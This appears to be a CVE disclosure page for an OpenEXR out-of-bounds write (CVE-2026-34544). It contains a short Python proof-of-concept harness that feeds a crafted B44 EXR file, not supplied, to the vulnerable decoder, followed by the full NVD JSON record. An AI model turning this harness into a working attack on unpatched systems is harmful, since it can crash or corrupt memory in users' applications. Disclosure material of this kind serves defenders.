CVE-2026-34544

import OpenEXR import sys # PoC for CVE-2026-34544 # This script demonstrates the trigger mechanism by loading a crafted EXR file. # Requirement: A malicious EXR file using B44/B44A compression. def trigger_crash(file_path): try: # Open the crafted EXR file exr_file = OpenEXR.InputFile(file_path) # Access header to trigger parsing header = exr_file.header() width = header['dataWindow'].max.x - header['dataWindow'].min.x + 1 height = header['dataWindow'].max.y - header['dataWindow'].min.y + 1 # Read pixels triggers the vulnerable exr_decoding_run() function # This is where the out-of-bounds write occurs print(f"Attempting to decode {width}x{height} image...") pixels = exr_file.readPixels(['R', 'G', 'B', 'A']) print("File processed successfully (Exploit likely failed)") except Exception as e: print(f"Exception caught (potential crash): {e}") if __name__ == "__main__": # Replace with the path to a crafted B44 EXR file malicious_file = "poc_cve_2026_34544.exr" trigger_crash(malicious_file)

{"cve": {"id": "CVE-2026-34544", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:01.480", "lastModified": "2026-04-07T20:13:31.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "4E7AA082-2647-4AAD-9902-1E3873882A3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "E8321A2E-759A-4B1E-9AAF-0204791F4323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.8", "matchCriteriaId": "088FF356-26BB-4AF4-95A4-B24485E43F02"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}